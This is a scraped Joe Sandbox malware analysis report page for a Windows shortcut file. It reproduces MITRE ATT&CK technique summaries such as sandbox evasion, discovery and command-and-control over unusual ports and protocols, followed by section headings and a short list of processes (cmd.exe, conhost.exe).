Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report daHTg2LQmU.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static Windows Shortcut Info

General

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: cmd.exePID: 6680, Parent PID: 2580

General

Chronological Activities

Analysis Process: conhost.exePID: 6700, Parent PID: 6680

General

Chronological Activities

Windows Analysis Report
daHTg2LQmU.lnk